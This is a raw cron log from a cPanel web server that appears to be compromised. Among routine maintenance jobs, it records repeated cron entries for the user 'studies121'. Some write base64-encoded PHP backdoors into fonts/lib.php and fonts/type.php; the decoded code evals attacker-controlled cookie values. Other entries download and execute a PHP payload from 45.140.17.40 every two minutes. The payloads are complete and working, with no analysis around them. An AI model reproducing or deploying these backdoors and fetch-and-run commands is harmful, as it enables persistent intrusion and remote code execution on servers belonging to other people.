Sep  3 23:55:01 ip-184-168-122-23 CROND[18509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:55:01 ip-184-168-122-23 CROND[18511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:55:01 ip-184-168-122-23 CROND[18510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:55:01 ip-184-168-122-23 CROND[18513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:55:01 ip-184-168-122-23 CROND[18512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:56:01 ip-184-168-122-23 CROND[18593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:56:01 ip-184-168-122-23 CROND[18597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:56:01 ip-184-168-122-23 CROND[18596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:56:01 ip-184-168-122-23 CROND[18598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:56:01 ip-184-168-122-23 CROND[18595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:57:01 ip-184-168-122-23 CROND[18696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:57:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:57:01 ip-184-168-122-23 CROND[18699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:57:01 ip-184-168-122-23 CROND[18700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:58:01 ip-184-168-122-23 CROND[18863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:58:01 ip-184-168-122-23 CROND[18865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:58:01 ip-184-168-122-23 CROND[18868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:58:01 ip-184-168-122-23 CROND[18866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:58:01 ip-184-168-122-23 CROND[18867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:59:01 ip-184-168-122-23 CROND[18949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:59:01 ip-184-168-122-23 CROND[18948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:59:01 ip-184-168-122-23 CROND[18951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:59:01 ip-184-168-122-23 CROND[18950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:00:01 ip-184-168-122-23 CROND[19068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:00:01 ip-184-168-122-23 CROND[19070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19072]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:00:01 ip-184-168-122-23 CROND[19080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:00:01 ip-184-168-122-23 CROND[19079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:01:01 ip-184-168-122-23 CROND[19204]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19204]: starting 0anacron
Sep  4 00:01:01 ip-184-168-122-23 CROND[19210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:01:01 ip-184-168-122-23 CROND[19211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:01:01 ip-184-168-122-23 CROND[19212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:01:01 ip-184-168-122-23 CROND[19213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:01:01 ip-184-168-122-23 CROND[19214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:01:01 ip-184-168-122-23 anacron[19224]: Anacron started on 2026-09-04
Sep  4 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19226]: finished 0anacron
Sep  4 00:01:01 ip-184-168-122-23 anacron[19224]: Normal exit (0 jobs run)
Sep  4 00:02:01 ip-184-168-122-23 CROND[19302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:02:01 ip-184-168-122-23 CROND[19304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:02:01 ip-184-168-122-23 CROND[19307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:02:01 ip-184-168-122-23 CROND[19305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:02:01 ip-184-168-122-23 CROND[19306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:03:01 ip-184-168-122-23 CROND[19392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:03:01 ip-184-168-122-23 CROND[19394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:03:01 ip-184-168-122-23 CROND[19395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:03:01 ip-184-168-122-23 CROND[19393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:04:01 ip-184-168-122-23 CROND[19478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:04:01 ip-184-168-122-23 CROND[19479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:04:01 ip-184-168-122-23 CROND[19480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:04:01 ip-184-168-122-23 CROND[19485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:04:01 ip-184-168-122-23 CROND[19484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:05:01 ip-184-168-122-23 CROND[19623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:05:01 ip-184-168-122-23 CROND[19632]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:06:02 ip-184-168-122-23 CROND[19780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:06:02 ip-184-168-122-23 CROND[19783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:06:02 ip-184-168-122-23 CROND[19782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:06:02 ip-184-168-122-23 CROND[19784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:06:02 ip-184-168-122-23 CROND[19786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:07:02 ip-184-168-122-23 CROND[19868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
